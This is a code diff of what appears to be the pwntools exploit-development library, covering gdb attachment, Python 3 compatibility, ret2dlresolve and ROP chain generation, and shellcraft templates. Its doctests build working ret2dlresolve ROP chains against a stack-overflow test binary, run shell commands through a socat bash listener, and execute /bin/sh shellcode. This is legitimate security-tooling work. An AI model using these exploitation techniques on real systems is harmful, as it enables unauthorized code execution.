>>> # Start a forking server
>>> server = process(['socat', 'tcp-listen:12345,fork,reuseaddr', 'exec:/bin/bash,nofork'])
>>> sleep(1)
>>> # Connect to the server
>>> io = remote('127.0.0.1', 12345)
>>> # Connect the debugger to the server-spawned process
>>> pid = gdb.attach(io, '''
... break exit
... continue
... ''', exe = '/bin/bash')
>>> # Talk to the spawned 'bash'
>>> io.sendline("echo hello")
>>> io.recvline()
b'hello\n'
>>> io.sendline("exit")
>>> io.close()
>>> io = process('bash')
>>> pid = gdb.attach(io, gdbscript='''
... call puts("Hello from process debugger!")
... detach
... quit
... ''')
>>> io.recvline()
b'Hello from process debugger!\n'
>>> io.sendline('echo Hello from bash && exit')
>>> io.recvall()
b'Hello from bash\n'
>>> # Connect to the SSH server
>>> shell = ssh('runner', 'example.pwnme', password='demopass')
>>> # Start a process on the server
>>> cat = shell.process(['cat'])
>>> # Attach a debugger to it
>>> gdb.attach(cat, '''
... break exit
... continue
... ''')
>>> cat.sendline("hello")
>>> cat.recvline()
b'hello\n'
>>> # Cause `cat` to exit
>>> cat.close()
Attach to the remote process from a :class:`.remote` or :class:`.listen` tube,
as long as it is running on the same machine.
>>> server = process(['socat', 'tcp-listen:12345,reuseaddr,fork', 'exec:/bin/bash,nofork'])
>>> sleep(1) # Wait for socat to start
>>> io = remote('127.0.0.1', 12345)
>>> sleep(1) # Wait for process to fork
>>> pid = gdb.attach(io, gdbscript='''
... call puts("Hello from remote debugger!")
... detach
... quit
... ''')
>>> io.recvline()
b'Hello from remote debugger!\n'
>>> io.sendline('echo Hello from bash && exit')
>>> io.recvall()
b'Hello from bash\n'
Attach to processes running on a remote machine via an SSH :class:`.ssh` process
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> io = shell.process(['cat'])
>>> pid = gdb.attach(io, gdbscript='''
... call sleep(5)
... call puts("Hello from ssh debugger!")
... detach
... quit
... ''')
>>> io.recvline(timeout=5) # doctest: +SKIP
b'Hello from ssh debugger!\n'
>>> io.sendline('This will be echoed back')
>>> io.recvline()
b'This will be echoed back\n'
>>> io.close()
"""
if context.noptrace:
log.warn_once("Skipping debug attach since context.noptrace==True")
@@ -627,6 +632,9 @@ def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysr
if context.os == 'android':
pre += 'set gnutarget ' + _bfdname() + '\n'
if exe:
pre += 'file %s\n' % exe
# let's see if we can find a pid to attach to
pid = None
if isinstance(target, six.integer_types):
@@ -675,18 +683,24 @@ def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysr
elif isinstance(target, tubes.sock.sock):
pids = proc.pidof(target)
if not pids:
log.error('could not find remote process (%s:%d) on this machine' %
log.error('Could not find remote process (%s:%d) on this machine' %
target.sock.getpeername())
waiting = 100
if exe:
while waiting:
waiting -= 1
for pid in pids:
if proc.exe(pid) == exe:
waiting = False
break
else:
time.sleep(0.01)
pid = pids[0]
# Specifically check for socat, since it has an intermediary process
# if you do not specify "nofork" to the EXEC: argument
# python(2640)───socat(2642)───socat(2643)───bash(2644)
if proc.exe(pid).endswith('/socat') and time.sleep(0.1) and proc.children(pid):
pid = proc.children(pid)[0]
# We may attach to the remote process after the fork but before it performs an exec.
# If an exe is provided, wait until the process is actually running the expected exe
# before we attach the debugger.
t = Timeout()
with t.countdown(2):
while exe and os.realpath(proc.exe(pid)) != os.realpath(exe) and t.timeout:
time.sleep(0.1)
elif isinstance(target, tubes.process.process):
pid = proc.pidof(target)[0]
exe = exe or target.executable
@@ -855,7 +869,7 @@ def find_module_addresses(binary, ssh=None, ulimit=False):
Example:
>>> with context.local(log_level=9999):
... shell = ssh(host='example.pwnme', user='runner', password='demopass')
... shell = ssh(host='example.pwnme', user='travis', password='demopass')
... bash_libs = gdb.find_module_addresses('/bin/bash', shell)
>>> os.path.basename(bash_libs[0].path)
'libc.so.6'
@@ -934,13 +948,23 @@ def find_module_addresses(binary, ssh=None, ulimit=False):
return rv
def corefile(process):
r"""Drops a core file for the process.
r"""Drops a core file for a running local process.
Note:
You should use :meth:`.process.corefile` instead of using this method directly.
Arguments:
process: Process to dump
Returns:
:class:`.Core`: The generated core file
Example:
>>> io = process('bash')
>>> core = gdb.corefile(io)
>>> core.exe.name
'/bin/bash'
"""
if context.noptrace:
@@ -960,7 +984,7 @@ def corefile(process):
# This is effectively the same as what the 'gcore' binary does
gdb_args = ['-batch',
'-q',
'--nx',
'-nx',
'-ex', '"set pagination off"',
'-ex', '"set height 0"',
'-ex', '"set width 0"',
@@ -971,7 +995,14 @@ def corefile(process):
with context.local(terminal = ['sh', '-c']):
with context.quiet:
pid = attach(process, gdb_args=gdb_args)
os.waitpid(pid, 0)
log.debug("Got GDB pid %d", pid)
try:
os.waitpid(pid, 0)
except Exception:
pass
if not os.path.exists(corefile_path):
log.error("Could not generate a corefile for process %d", process.pid)
return elf.corefile.Core(corefile_path)
+4 -1
View File
@@ -3,7 +3,10 @@ from pwnlib.tubes.process import process
from time import sleep
from sys import argv
sleep(1)
sh = process(argv[1], shell=True)
if len(argv) == 2:
sh = process(argv[1], shell=True)
else:
sh = process(argv[1:])
sh.sendline('set prompt (gdb)')
res = sh.sendlineafter('(gdb)', 'c')
while b'The program is not being run.' not in res:
+8 -1
View File
@@ -98,6 +98,7 @@ import logging
import os
import random
import re
import six
import sys
import threading
import time
@@ -183,6 +184,9 @@ class Progress(object):
self.last_status = 0
def _log(self, status, args, kwargs, msgtype):
# Logs are strings, not bytes. Handle Python3 bytes() objects.
status = six.ensure_text(status)
# this progress logger is stopped, so don't generate any more records
if self._stopped:
return
@@ -279,11 +283,14 @@ class Logger(object):
self._logger = logger
def _getlevel(self, levelString):
if isinstance(levelString, int):
if isinstance(levelString, six.integer_types):
return levelString
return logging._levelNames[levelString.upper()]
def _log(self, level, msg, args, kwargs, msgtype, progress = None):
# Logs are strings, not bytes. Handle Python3 bytes() objects.
msg = six.ensure_text(msg)
extra = kwargs.get('extra', {})
extra.setdefault('pwnlib_msgtype', msgtype)
extra.setdefault('pwnlib_progress', progress)
+6 -5
View File
@@ -5,6 +5,7 @@ import ctypes
import functools
import string
import six
from six.moves import range
from pwnlib.context import context
@@ -63,7 +64,7 @@ class MemLeak(object):
... if addr & 0xff == 0:
... return None
... return binsh[addr:addr+4]
>>> leaker_nonulls.d(0) == None
>>> leaker_nonulls.d(0) is None
leaking 0x0
True
>>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
@@ -155,17 +156,17 @@ class MemLeak(object):
Arguments:
address(int): Base address to calculate offsets from
field(obj): Instance of a ctypes field
expected(int,str): Expected value
expected(int,bytes): Expected value
Return Value:
The type of the return value will be dictated by
the type of ``field``.
"""
if not isinstance(expected, (int, bytes)):
raise TypeError("Expected value must be an int or bytes")
if isinstance(expected, int):
if isinstance(expected, six.integer_types):
expected = pack(expected, bytes=obj.size)
elif not isinstance(expected, bytes):
raise TypeError("Expected value must be an int or bytes")
assert obj.size == len(expected)
+3 -3
View File
@@ -109,8 +109,8 @@ class AdbClient(Logger):
process(context.adb + ['start-server']).recvall()
time.sleep(0.3)
else:
log.exception('Could not connect to ADB server (%s:%s)' % \
(self.host, self.port))
log.exception('Could not connect to ADB server (%s:%s)',
self.host, self.port)
# Final attempt...
if not self._c:
@@ -462,7 +462,7 @@ class AdbClient(Logger):
>>> expected = {'mode': 16749, 'size': 0, 'time': 0}
>>> pwnlib.protocols.adb.AdbClient().stat('/proc') == expected
True
>>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') == None
>>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') is None
True
"""
if isinstance(path, six.text_type):
+1 -1
View File
@@ -243,7 +243,7 @@ def regsort(in_out, all_regs, tmp = None, xchg = True, randomize = None):
# Collapse constant values
#
# For eaxmple, {'eax': 0, 'ebx': 0} => {'eax': 0, 'ebx': 'eax'}
v_k = defaultdict(lambda: [])
v_k = defaultdict(list)
for k,v in sorted(in_out.items()):
if v not in all_regs and v != 0:
v_k[v].append(k)
+4 -2
View File
@@ -9,6 +9,8 @@ from pwnlib.util import packing
import six
from pwnlib.util.misc import python_2_bytes_compatible
class Unresolved(object):
"""
@@ -55,6 +57,8 @@ class StackAdjustment(Unresolved):
"""
pass
@python_2_bytes_compatible
class AppendedArgument(Unresolved):
"""
Encapsulates information about a pointer argument, and the data
@@ -186,8 +190,6 @@ class AppendedArgument(Unresolved):
def __bytes__(self):
return packing.flat(self.resolve())
if six.PY2:
__str__ = __bytes__
def __repr__(self):
if isinstance(self.address, six.integer_types):
+3 -2
View File
@@ -1,4 +1,5 @@
# -*- coding: utf-8 -*-
import six
class Gadget(object):
"""
@@ -54,12 +55,12 @@ class Gadget(object):
def __getitem__(self, key):
# Backward compatibility
if isinstance(key, int):
if isinstance(key, six.integer_types):
key = self.__indices[key]
return getattr(self, key)
def __setitem__(self, key, value):
# Backward compatibility
if isinstance(key, int):
if isinstance(key, six.integer_types):
key = self.__indices[key]
return setattr(self, key, value)
+54 -41
View File
@@ -2,65 +2,61 @@ r"""
Provides automatic payload generation for exploiting buffer overflows
using ret2dlresolve.
Example:
We use the following example program:
>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <unistd.h>
... void vuln(void){
... char buf[64];
... read(STDIN_FILENO, buf, 200);
... }
... int main(int argc, char** argv){
... vuln();
... }''')
>>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-m32", "-o", program]
>>> process(cmdline).wait_for_close()
::
>>> context.binary = program
>>> elf = ELF(program)
>>> rop = ROP(elf)
#include <unistd.h>
void vuln(void){
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
vuln();
}
We can automate the process of exploitation with these some example binaries.
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
>>> rop = ROP(context.binary)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump()) # doctest: +SKIP
0x0000: 0x8049030 read(0, 0x804ce00)
0x0004: 0x8049208 <adjust @0x10> pop edi; pop ebp; ret
>>> print(rop.dump())
0x0000: 0x80482e0 read(0, 0x804ae00)
0x0004: 0x80484ea <adjust @0x10> pop edi; pop ebp; ret
0x0008: 0x0 arg0
0x000c: 0x804ce00 arg1
0x0010: 0x8049020 [plt_init] system(0x804ce30)
0x0014: 0x4b74 [dlresolve index]
0x000c: 0x804ae00 arg1
0x0010: 0x80482d0 [plt_init] system(0x804ae24)
0x0014: 0x2b84 [dlresolve index]
0x0018: b'gaaa' <return address>
0x001c: 0x804ce30 arg0
>>> p = process(program)
0x001c: 0x804ae24 arg0
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
>>> p.recvline()
b'pwned\n'
>>> # and now for 64 bits
>>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-o", program]
>>> process(cmdline).wait_for_close()
>>> context.binary = program
>>> elf = ELF(program)
You can also use ``Ret2dlresolve`` on AMD64:
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump()) # doctest: +SKIP
0x0000: 0x4011aa pop rdi; ret
>>> print(rop.dump())
0x0000: 0x400593 pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x4011a8 pop rsi; pop r15; ret
0x0018: 0x404e00 [arg1] rsi = 4214272
0x0010: 0x400591 pop rsi; pop r15; ret
0x0018: 0x601e00 [arg1] rsi = 6299136
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x401030 read
0x0030: 0x4011aa pop rdi; ret
0x0038: 0x404e58 [arg0] rdi = 4214360
0x0040: 0x401020 [plt_init] system
0x0048: 0x318 [dlresolve index]
>>> p = process(program)
0x0028: 0x4003f0 read
0x0030: 0x400593 pop rdi; ret
0x0038: 0x601e48 [arg0] rdi = 6299208
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
>>> if dlresolve.unreliable:
... p.poll(True) == -signal.SIGSEGV
@@ -69,6 +65,7 @@ Example:
True
"""
import six
from copy import deepcopy
from pwnlib.context import context
@@ -82,6 +79,7 @@ ELF32_R_SYM_SHIFT = 8
ELF64_R_SYM_SHIFT = 32
class Elf32_Rel(object):
''
"""
.. code-block:: c
@@ -103,6 +101,7 @@ class Elf32_Rel(object):
class Elf64_Rel(object):
''
"""
.. code-block:: c
@@ -124,6 +123,7 @@ class Elf64_Rel(object):
class Elf32_Sym(object):
''
"""
.. code-block:: c
@@ -158,6 +158,7 @@ class Elf32_Sym(object):
class Elf64_Sym(object):
''
"""
.. code-block:: c
@@ -192,6 +193,7 @@ class Elf64_Sym(object):
class Queue(list):
''
def size(self):
size = 0
for v in self:
@@ -205,10 +207,21 @@ class Queue(list):
class MarkedBytes(bytes):
''
pass
class Ret2dlresolvePayload(object):
"""Create a ret2dlresolve payload
Arguments:
elf (ELF): Binary to search
symbol (str): Function to search for
args (list): List of arguments to pass to the function
Returns:
A ``Ret2dlresolvePayload`` object which can be passed to ``rop.ret2dlresolve``
"""
def __init__(self, elf, symbol, args, data_addr=None):
self.elf = elf
self.elf_load_address_fixup = self.elf.address - self.elf.load_addr
@@ -344,7 +357,7 @@ class Ret2dlresolvePayload(object):
elif isinstance(top, bytes):
top = pack(self.data_addr + len(self.payload) + queue.size())
queue.append(MarkedBytes(queue[0]))
elif isinstance(top, int):
elif isinstance(top, six.integer_types):
top = pack(top)
self.payload += top
+62 -10
View File
@@ -88,6 +88,36 @@ You can also append complex arguments onto stack when the stack pointer is known
0x7fffe038: b'-c\x00$'
0x7fffe03c: b'ls\x00$'
ROP also detects 'jmp $sp' gadget to help exploit binaries with NX disabled.
You can get this gadget on 'i386':
>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; jmp esp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_esp
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
True
You can also get this gadget on 'amd64':
>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('nop; jmp rsp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_rsp
>>> elf.read(jmp_gadget.address, 2) == asm('jmp rsp')
True
Gadgets whose address has badchar are filtered out:
>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; pop eax; jmp esp; int 0x80; jmp esp; ret')
>>> rop = ROP(elf, badchars=b'\x02')
>>> jmp_gadget = rop.jmp_esp # It returns the second gadget
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
True
>>> rop = ROP(elf, badchars=b'\x02\x06')
>>> rop.jmp_esp == None # The address of both gadgets has badchar
True
ROP Example
-------------------
@@ -302,6 +332,7 @@ from pwnlib.util import lists
from pwnlib.util import packing
from pwnlib.util.cyclic import cyclic
from pwnlib.util.packing import pack
from pwnlib.util.misc import python_2_bytes_compatible
log = getLogger(__name__)
__all__ = ['ROP']
@@ -340,7 +371,7 @@ class DescriptiveStack(list):
descriptions = {}
def __init__(self, address):
self.descriptions = collections.defaultdict(lambda: [])
self.descriptions = collections.defaultdict(list)
self.address = address or 0
self._next_next = 0
self._next_last = 0
@@ -382,6 +413,7 @@ class DescriptiveStack(list):
return '\n'.join(rv)
@python_2_bytes_compatible
class ROP(object):
r"""Class which simplifies the generation of ROP-chains.
@@ -751,7 +783,6 @@ class ROP(object):
stack.describe(self.describe(slot))
if not isinstance(slot, bytes):
slot = slot.encode()
slot += self.generatePadding(stack.next, len(slot) % context.bytes)
for chunk in lists.group(context.bytes, slot):
stack.append(chunk)
@@ -977,7 +1008,10 @@ class ROP(object):
SYS_sigreturn = constants.SYS_rt_sigreturn
for register, value in zip(frame.arguments, arguments):
frame[register] = value
if not isinstance(value, six.integer_types + (Unresolved,)):
frame[register] = AppendedArgument(value)
else:
frame[register] = value
# Set up a call frame which will set EAX and invoke the syscall
call = Call('SYS_sigreturn',
@@ -1054,9 +1088,6 @@ class ROP(object):
"""Returns: Raw bytes of the ROP chain"""
return self.chain()
def __str__(self):
return str(self.chain())
def __get_cachefile_name(self, files):
"""Given an ELF or list of ELF objects, return a cache file for the set of files"""
cachedir = os.path.join(tempfile.gettempdir(), 'pwntools-rop-cache-%d.%d' % sys.version_info[:2])
@@ -1098,7 +1129,7 @@ class ROP(object):
#
# - leave
# - pop reg
# - add $sp, value
# - add $sp, <hexadecimal value>
# - ret
#
# Currently, ROPgadget does not detect multi-byte "C2" ret.
@@ -1106,7 +1137,7 @@ class ROP(object):
#
pop = re.compile(r'^pop (.{3})')
add = re.compile(r'^add [er]sp, (\S+)$')
add = re.compile(r'^add [er]sp, ((?:0[xX])?[0-9a-fA-F]+)$')
ret = re.compile(r'^ret$')
leave = re.compile(r'^leave$')
int80 = re.compile(r'int +0x80')
@@ -1122,6 +1153,8 @@ class ROP(object):
# False
# >>> valid('add esp, 0x24')
# True
# >>> valid('add esp, esi')
# False
#
valid = lambda insn: any(map(lambda pattern: pattern.match(insn), [pop,add,ret,leave,int80,syscall,sysenter]))
@@ -1303,7 +1336,7 @@ class ROP(object):
self.raw(call)
def __getattr__(self, attr):
"""Helper to make finding ROP gadets easier.
"""Helper to make finding ROP gadgets easier.
Also provides a shorthand for ``.call()``:
``rop.function(args)`` is equivalent to ``rop.call(function, args)``
@@ -1316,7 +1349,7 @@ class ROP(object):
True
>>> rop.ret_8 == rop.search(move=8)
True
>>> rop.ret != None
>>> rop.ret is not None
True
"""
gadget = collections.namedtuple('gadget', ['address', 'details'])
@@ -1340,6 +1373,25 @@ class ROP(object):
count = int(attr.split('_')[1])
return self.search(move=count)
#
# Check for 'jmp_esp'('i386') or 'jmp_rsp'('amd64')
#
if attr == 'jmp_esp' and context.arch == 'i386' \
or attr == 'jmp_rsp' and context.arch == 'amd64':
jmp_sp = {'i386': 'jmp esp',
'amd64': 'jmp rsp'
}[context.arch]
insn_asm = b'\xff\xe4'
for elf in self.elfs:
for addr in elf.search(insn_asm, executable = True):
if set(pack(addr)) & self._badchars:
continue
return Gadget(addr, [jmp_sp], [], context.bytes)
return None
if attr in ('int80', 'syscall', 'sysenter'):
mapping = {'int80': 'int 0x80',
'syscall': 'syscall',
+1 -1
View File
@@ -155,7 +155,7 @@ class module(ModuleType):
return hex(n)
def okay(self, s, *a, **kw):
if isinstance(s, int):
if isinstance(s, six.integer_types):
s = packing.pack(s, *a, **kw)
return b'\0' not in s and b'\n' not in s
+1 -1
View File
@@ -16,7 +16,7 @@ def init_mako():
from mako import ast
import threading
if lookup != None:
if lookup is not None:
return
class IsInsideManager(object):
@@ -33,13 +33,13 @@ Example:
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
if syscall is None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
if arg is None:
args.append('?')
else:
args.append(pretty(arg, False))
@@ -17,18 +17,11 @@ Example:
The following doctest is commented out because it doesn't work on Travis
for reasons I cannot diagnose. However, it should work just fine :-)
>>> gcc = process(['aarch64-linux-gnu-gcc','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
... printf("Hello, %s!\\n", "world");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
>>> run_assembly(sc).recvline()
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
</%docstring>
@@ -47,7 +40,7 @@ ${there}:
<%
import os
if os.path.isfile(data):
if b'\x00' not in data and os.path.isfile(data):
with open(data, 'rb') as f:
data = f.read()
%>
@@ -1,4 +1,5 @@
<%
import six
from pwnlib.shellcraft.aarch64 import mov
from pwnlib.shellcraft.aarch64.linux import read, readn, mmap
from pwnlib import constants as C
@@ -28,7 +29,7 @@ Example:
protection = C.PROT_READ | C.PROT_WRITE | C.PROT_EXEC
flags = C.MAP_ANONYMOUS | C.MAP_PRIVATE
assert isinstance(fd, int)
assert isinstance(fd, six.integer_types)
%>
%if length is None:
/* How many bytes should we receive? */
@@ -56,13 +56,13 @@ Example:
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
if syscall is None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
if arg is None:
args.append('?')
else:
args.append(repr(arg))
+15 -58
View File
@@ -15,64 +15,19 @@ Args:
Examples:
>>> print(shellcraft.pushstr("Hello!").rstrip())
/* push b'Hello!\x00' */
/* Set x14 = 36762444129608 = 0x216f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #8559, lsl #0x20
str x14, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world!").rstrip())
/* push b'Hello, world!\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 143418749551 = 0x21646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #33, lsl #0x20
stp x14, x15, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world, bienvenue").rstrip())
/* push b'Hello, world, bienvenue\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #8236, lsl #0x20
movk x15, #26978, lsl #0x30
stp x14, x15, [sp, #-16]!
/* Set x14 = 28558089656888933 = 0x65756e65766e65 */
mov x14, #28261
movk x14, #25974, lsl #16
movk x14, #30062, lsl #0x20
movk x14, #101, lsl #0x30
str x14, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world, bienvenue!").rstrip())
/* push b'Hello, world, bienvenue!\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #8236, lsl #0x20
movk x15, #26978, lsl #0x30
stp x14, x15, [sp, #-16]!
/* Set x14 = 2406458692908510821 = 0x2165756e65766e65 */
mov x14, #28261
movk x14, #25974, lsl #16
movk x14, #30062, lsl #0x20
movk x14, #8549, lsl #0x30
mov x15, xzr
stp x14, x15, [sp, #-16]!
>>> string = "Hello, world!"
>>> assembly = shellcraft.pushstr(string)
>>> assembly += shellcraft.write(1, 'sp', len(string))
>>> assembly += shellcraft.exit()
>>> ELF.from_assembly(assembly).process().recvall()
b'Hello, world!'
>>> string = "Hello, world! This is a long string! Wow!"
>>> assembly = shellcraft.pushstr(string)
>>> assembly += shellcraft.write(1, 'sp', len(string))
>>> assembly += shellcraft.exit()
>>> ELF.from_assembly(assembly).process().recvall()
b'Hello, world! This is a long string! Wow!'
</%docstring>
<%
if isinstance(string, six.text_type):
@@ -91,6 +46,8 @@ while len(string) % 8:
words = packing.unpack_many(string)
pairs = lists.group(2, words)
pairs = pairs[::-1]
# The stack must be 16-byte aligned
total = len(pairs) * 16
@@ -2,7 +2,7 @@
from pwnlib import shellcraft
from pwnlib.context import context as ctx
from pwnlib.util.iters import group
from six import text_type, binary_type
from six import text_type, binary_type, ensure_binary
%>
<%docstring>
Pushes an array/envp-style array of pointers onto the stack.
@@ -14,66 +14,44 @@ Arguments:
Single argument or list of arguments to push.
NULL termination is normalized so that each argument
ends with exactly one NULL byte.
Example:
>>> assembly = shellcraft.execve("/bin/sh", ["sh", "-c", "echo Hello string $WORLD"], {"WORLD": "World!"})
>>> ELF.from_assembly(assembly).process().recvall()
b'Hello string World!\n'
</%docstring>
<%page args="reg, array, register1='x14', register2='x15'"/>
<%
if isinstance(array, (binary_type, text_type)):
array = [array]
# Normalize all of the arguments' endings
# Convert all items to strings
array = [ensure_binary(x) for x in array]
# Normalize line endings for each item
array = [arg.rstrip(b'\x00') + b'\x00' for arg in array]
# Join everything in the string-to-be-pushed
string = b''.join(array)
# Maximum amount that we can adjust SP by at once is 4095,
# which seems like a safe maximum.
if len(array) * 8 > 4095:
raise Exception("Array size is too large (%i), max=4095" % len(array))
# Join them into one big string that can be pushed
array_str = b''.join(array)
# Create a listing of offsets from what will be the "top" of the stack.
num_pointers = len(array)
# Account for the NULL terminator
num_pointers += 1
while num_pointers % 2 != 0:
num_pointers += 1
# Offset from the 'top' of the stack, to the data pointed at
sp_to_data = num_pointers * ctx.bytes
# List of amounts to subtract from $SP
offsets = {}
for i,arg in enumerate(reversed(array)):
offsets[i] = sp_to_data + len(array_str) - len(arg)
# If the array length is ODD we can sneak in our null terminator at the end
if len(array) % 2 == 1:
offsets[len(offsets)] = 'sp'
sorted_offsets = []
for key in sorted(offsets):
sorted_offsets.append(offsets[key])
# Load the offsets into pairs
pairwise_offsets = group(2, sorted_offsets)
%>\
/* push argument array ${repr(array)} */
${shellcraft.pushstr(array_str, register1=register1, register2=register2)}
${shellcraft.pushstr(string, register1=register1, register2=register2)}
/* adjust the stack pointer to account for the array of pointers */
sub sp, sp, ${num_pointers * ctx.bytes}
/* push null terminator */
${shellcraft.mov(register1, 0)}
str ${register1}, [sp, #-8]!
/* push pointers onto the stack in pairs */
%for i, (a, b) in enumerate(pairwise_offsets):
${shellcraft.mov(register1, a)}
${shellcraft.mov(register2, b)}
sub ${register1}, sp, ${register1}
sub ${register2}, sp, ${register2}
stp ${register1}, ${register2}, [sp], ${i * 16}
/* push pointers onto the stack */
%for i, value in enumerate(reversed(array)):
${shellcraft.mov(register1, (i+1)*8 + string.index(value))}
add ${register1}, sp, ${register1}
str ${register1}, [sp, #-8]! /* ${array[-i]} */
%endfor
%if len(array[-1] != 'sp')
/* set ${reg} to the current top of the stack */
${shellcraft.mov(reg,'sp')}
+2 -1
View File
@@ -1,4 +1,5 @@
<%
import six
from pwnlib.shellcraft import pretty, common, aarch64, registers
from pwnlib.shellcraft.registers import aarch64 as regs
from pwnlib.util.packing import pack, unpack
@@ -39,7 +40,7 @@ if not key in regs:
key_str = key
key_int = key
if isinstance(key, int):
if isinstance(key, six.integer_types):
key_str = pack(key, bytes=4)
else:
key_int = unpack(key, 'all')
@@ -76,13 +76,13 @@ Example:
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
if syscall is None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
if arg is None:
args.append('?')
else:
args.append(pretty(arg, False))
@@ -1,4 +1,5 @@
<%
import six
from pwnlib.shellcraft import amd64, pretty, common
from pwnlib.util.packing import pack, unpack
from pwnlib.util.lists import group
@@ -24,7 +25,7 @@ done = common.label('egghunter_done')
next_page = common.label('egghunter_nextpage')
egg_str = egg
if isinstance(egg, int):
if isinstance(egg, six.integer_types):
egg_str = pack(egg, bytes=4)
if len(egg_str) % 4:
@@ -14,23 +14,15 @@ Arguments:
Example:
>>> gcc = process(['gcc','-m64','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
... printf("Hello, %s!\\n", "amd64");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> payloadELF.arch
'amd64'
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
The following doctest is commented out because it doesn't work on Travis
for reasons I cannot diagnose. However, it should work just fine :-)
>>> run_assembly(sc).recvline() == b'Hello, amd64!\n'
True
</%docstring>
<%page args="data = None"/>
@@ -48,7 +40,7 @@ ${elf_data}:
<%
import os
if os.path.isfile(data):
if b'\x00' not in data and os.path.isfile(data):
with open(data, 'rb') as f:
data = f.read()
%>
@@ -1,4 +1,5 @@
<%
import six
from pwnlib.shellcraft.amd64 import push
from pwnlib.shellcraft.amd64.linux import read, readn, mmap
from pwnlib import constants as C
@@ -28,7 +29,7 @@ Example:
protection = C.PROT_READ | C.PROT_WRITE | C.PROT_EXEC
flags = C.MAP_ANONYMOUS | C.MAP_PRIVATE
assert isinstance(fd, int)
assert isinstance(fd, six.integer_types)
%>
%if length is None:
/* How many bytes should we receive? */
@@ -92,13 +92,13 @@ Example:
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
if syscall is None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
if arg is None:
args.append('?')
else:
args.append(repr(arg))
+1 -1
View File
@@ -6,7 +6,7 @@ Args:
</%docstring>
